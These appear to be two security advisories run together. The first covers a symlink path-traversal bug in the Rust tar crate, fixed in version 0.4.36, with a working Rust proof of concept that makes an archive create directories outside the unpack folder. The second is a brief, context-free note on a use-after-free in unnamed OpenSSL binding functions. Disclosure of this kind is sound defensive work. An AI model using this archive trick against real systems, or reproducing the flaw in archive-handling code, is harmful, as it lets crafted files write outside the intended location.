When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

When a Some(...) value was passed to the properties argument of either of these functions, a use-after-free would result.

In practice this would nearly always result in OpenSSL treating the properties as an empty string (due to CString::drop's behavior).

The maintainers thank quitbug for reporting this vulnerability to us.